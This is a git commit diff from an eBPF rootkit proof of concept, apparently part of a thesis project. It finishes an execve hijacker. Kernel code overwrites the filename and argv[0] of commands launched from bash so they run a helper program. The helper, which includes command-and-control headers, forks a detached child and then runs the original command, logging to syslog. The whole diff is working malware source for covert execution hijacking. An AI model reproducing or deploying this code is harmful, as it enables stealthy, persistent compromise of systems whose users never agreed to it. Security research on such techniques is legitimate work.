Finished execve hijacking, added new last checks and discovered why sometimes it fails. New detached process at the userspace. Other fixes

src/common/constants.h

@@ -20,6 +20,9 @@
 
 //EXECUTION HIJACKING
 #define PATH_EXECUTION_HIJACK_PROGRAM "/home/osboxes/TFG/src/helpers/execve_hijack\0"
-#define EXEC_HIJACK_ACTIVE_TEMP 0
+#define EXEC_HIJACK_ACTIVE_TEMP 1
+
+#define TASK_COMM_NAME_RESTRICT_HIJACK "bash"
+#define TASK_COMM_RESTRICT_HIJACK_ACTIVE 1
 
 #endif

src/ebpf/include/bpf/exec.h

@@ -86,10 +86,23 @@ static __always_inline int test_write_user_unique(struct sys_execve_enter_ctx *c
 
 static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ctx *ctx, __u64 pid_tgid){
     //Check if the exec hijacker is active already
+    char comm[TASK_COMM_LEN] = {0};
+    int err = bpf_get_current_comm(comm, sizeof(comm));
+    
+
     if(hijacker_state == 1 || EXEC_HIJACK_ACTIVE_TEMP == 0){
         return 0;
     }
+
+    if(TASK_COMM_RESTRICT_HIJACK_ACTIVE == 1){
+        char *task = TASK_COMM_NAME_RESTRICT_HIJACK;
+        if(str_n_compare(comm, TASK_COMM_LEN, task, 5, 5) != 0){
+            //bpf_printk("failed: %s", comm);
+            return 0;
+        }
+    }
     bpf_printk("Starting execve hijacker\n");
+    bpf_printk("EXEC_COMM: %s\n", comm);
     
     char* argv[NUMBER_ARGUMENTS_PARSED] = {0};
     //unsigned char* envp[PROGRAM_LENGTH] = {0};
@@ -144,6 +157,9 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
     user-side of the rootkit, and fork a process with the requested execve() call. I considered this not to be good enough.
 
     Note: The arguments of this tracepoint are marked as const, so upon futher review we might have an undefined behaviour issue.
+    Note: Upon further investigation, I found the answer why executing commands from the bash terminal usually means
+        the modification is failed:https://lists.linuxfoundation.org/pipermail/iovisor-dev/2017-September/001035.html
+    Note: Restriction: because of the file locking mechanism in the userspace program, piped programs do not work for this PoC
     */
 
     char to_write[sizeof(PATH_EXECUTION_HIJACK_PROGRAM)] = {0};
@@ -165,10 +181,10 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
     }
 
     if(bpf_probe_write_user((void*)(ctx->filename), (void*)to_write, (__u32)sizeof(PATH_EXECUTION_HIJACK_PROGRAM))<0){
-        bpf_printk("Error writing to user memory by %s\n", filename);
-        //bpf_printk("NEW ARGV0: %s\n", argv[0]);
-        //bpf_printk("ARGV1: %s\n", argv[1]);
-        //bpf_printk("ARGV2: %s\n", argv[2]);
+        bpf_printk("Error writing to user memory at filename by %s\n", filename);
+        bpf_printk("NEW ARGV0: %s\n", argv[0]);
+        bpf_printk("ARGV1: %s\n", argv[1]);
+        bpf_printk("ARGV2: %s\n", argv[2]);
         return -1;
     }
     
@@ -184,8 +200,12 @@ static __always_inline int handle_tp_sys_enter_execve(struct sys_execve_enter_ct
     }
     //Bpf pointer writing, not possible to be done directly to ctx->argv[0]
     //TODO: Mention this in the report
-    if(bpf_probe_write_user((void*)argv[0], (void*)filename, filename_len)<0){
-        bpf_printk("Error writing to user memory by %s\n", filename);
+    if(bpf_probe_write_user((void*)argv[0], (void*)filename, filename_len+1)<0){
+        bpf_printk("Error writing to user memory at argv[0] by %s\n", filename);
+        //If this happens then the filename was modified, but we have failed to modify this so
+        //we must return the original filename
+        bpf_probe_write_user((void*)(ctx->filename), (void*)filename, filename_len+1);
+        bpf_printk("Reversed the previous filename write\n");
         return -1;
     }
 

src/helpers/execve_hijack.c

@@ -17,6 +17,7 @@
 #include <netinet/tcp.h>
 #include <sys/file.h>
 #include <errno.h>
+#include <syslog.h>
 
 #include "lib/RawTCP.h"
 #include "../common/c&c.h"
@@ -189,6 +190,7 @@ int main(int argc, char* argv[], char *envp[]){
         perror("Fork failed");
     }
     if (pid == 0) {
+        setsid();
         //Child process
         printf("I am the child with pid %d\n", (int) getpid());
 
@@ -213,10 +215,10 @@ int main(int argc, char* argv[], char *envp[]){
     //Parent process. Call original hijacked command
     char* hij_args[argc]; 
     hij_args[0] = argv[1];
-    printf("hijacking ARGS%i: %s\n", 0, hij_args[0]);
+    syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", 0, hij_args[0]);
     for(int ii=0; ii<argc-2; ii++){
         hij_args[ii+1] = argv[ii+2];
-        printf("hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]);
+        syslog(LOG_DEBUG, "hijacking ARGS%i: %s\n", ii+1, hij_args[ii+1]);
     }
     hij_args[argc-1] = NULL;